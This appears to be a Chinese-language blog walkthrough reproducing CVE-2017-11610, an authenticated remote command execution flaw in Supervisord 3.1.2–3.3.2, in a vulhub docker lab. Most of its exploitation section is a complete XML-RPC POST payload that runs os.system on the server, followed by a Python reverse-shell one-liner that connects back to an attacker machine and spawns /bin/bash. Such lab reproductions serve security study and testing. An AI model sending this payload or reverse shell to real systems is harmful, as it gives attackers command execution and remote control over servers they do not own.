CVE-2017-11610漏洞复现

一、漏洞描述

Supervisord是一款用Python语言开发的管理后台应用(服务)的工具,方便运维人员使用图形化界面进行管理。近期,Supervisord曝出了一个需认证的远程命令执行漏洞(CVE-2017-11610)。通过POST请求向Supervisord管理界面提交恶意数据,可以获取服务器操作权限,带来严重的安全风险。

影响版本

Supervisord 3.1.2 <= Version <= 3.3.2

二、漏洞环境搭建

需要准备的工具如下:

1.docker+vulhub漏洞库
2.kali虚拟机
3.靶机Ubuntu18.04虚拟机(其他也可以)
4.Burpsuite

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)

root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610# 

执行命令 docker-compose up -d

root@admin666-virtual-machine:~/vulhub/supervisor/CVE-2017-11610# docker-compose up -d

等环境搭建完成后,可以访问 http://your-ip:9001 出现如下页面证明搭建成功!

CVE-2017-11610漏洞复现

三、漏洞利用

访问http://your-ip:9001,然后用Burpsuite代理工具抓包,将抓到的主页包放到Repeater里,直接将payload放入数据包中重放即可复现成功!

CVE-2017-11610漏洞复现

payload如下:
将payload中的IP换成自己的即可

POST /RPC2 HTTP/1.1
Host: 192.168.124.129:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213


<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

CVE-2017-11610漏洞复现

可以看到返回200,进入docker容器查看是否创建成功
docker exec -it 容器ID /bin/bash

CVE-2017-11610漏洞复现
CVE-2017-11610漏洞复现

成功创建

反弹shell,将payload中的命令替换为如下命令即可反弹shell,这里使用kali虚拟机来反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘ip‘,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash‘,‘-i‘]);"

CVE-2017-11610漏洞复现
CVE-2017-11610漏洞复现

反弹成功

四、关闭docker环境

docker-compose down

CVE-2017-11610漏洞复现

CVE-2017-11610漏洞复现

上一篇:RK audio 拨号同时输出Speaker和USB音频


下一篇:Spring Cloud Feign 自定义配置(重试、拦截与错误码处理) 实践